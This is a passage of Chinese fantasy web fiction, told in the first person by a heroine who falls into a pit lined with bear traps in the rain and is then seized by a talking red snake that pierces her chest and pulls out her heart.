且有雨势渐大的迹象……
我抬手遮住脑袋,不一会儿就被淋透了衣衫。
好冷。
我想找地方躲雨,可却在拎裙摆艰难迈出一片齐腰高的荒草地时……
突然被人从后推了一把!
紧接着我整个人就摔进了一个被荒草遮住坑口的两米高深坑里……
摔下去的那一刹,右脚与左臂还被两只锋利的捕兽夹哐哐两声夹住了!
捕兽夹的锋利齿刃**我的骨头里,我疼得瞬间就飚出两行清泪……
**左臂的捕兽夹,只差十公分,就能嵌进我的脖子里。
好险,差点就**。
我憋着眼泪,抽泣着缓慢坐起身,先咬牙忍痛将左臂上的捕兽夹掰下来。
再用双手,把右脚脚踝上的捕兽夹弄下来。
捕兽夹锐利的铁齿拔出骨肉,我头皮发麻地把凶器扔远些,无助地用裙摆盖住脚踝伤处,抱着自己没出息的委屈放声哭起来……
老天爷也像故意在和我作对,大雨哗哗落下,连坑口的荒草都遮不住冰凉的雨滴了。
雨点子噼里啪啦全砸在我脑袋上,砸得我头晕,手臂上的血迹很快就被雨水洇满整只袖子。
坑下环境漆黑,潮湿闷热还有咬人的小飞虫。
我又冷又疼又怕地搂紧自己小声啜泣:“白蛇哥哥……我害怕……”
附近突然有了动物身体摩擦地面的窸窣响动……这动静,有点熟悉。
我一喜,激动喊道:“白蛇哥哥,你真来了!”
可下一秒,我的身体就被一条粗壮蛇身给缠了起来,猛地举起——
而我借着坑口洒下来的稀疏月光,看清缠着我的这条蛇身上的花纹……不是银色,也不是青色……
而是,朱红色!
红蛇?!
大红蛇的粗软蛇身堆满了整个土坑,蛇肉被挤得微微蠕动。
此时正用蛇尾举着我,将我送到黝黑的竖瞳前,细细打量,嘶嘶吐着乌黑蛇信——
蛇唇一张一翕,发出年轻妩媚的女人声音:“又见面了……亲爱的、骨仙娘娘。”
未等我回过神。
蛇尾尖尖就猛地刺进了我的胸膛——
强势拽出我体内砰砰跳动的心脏。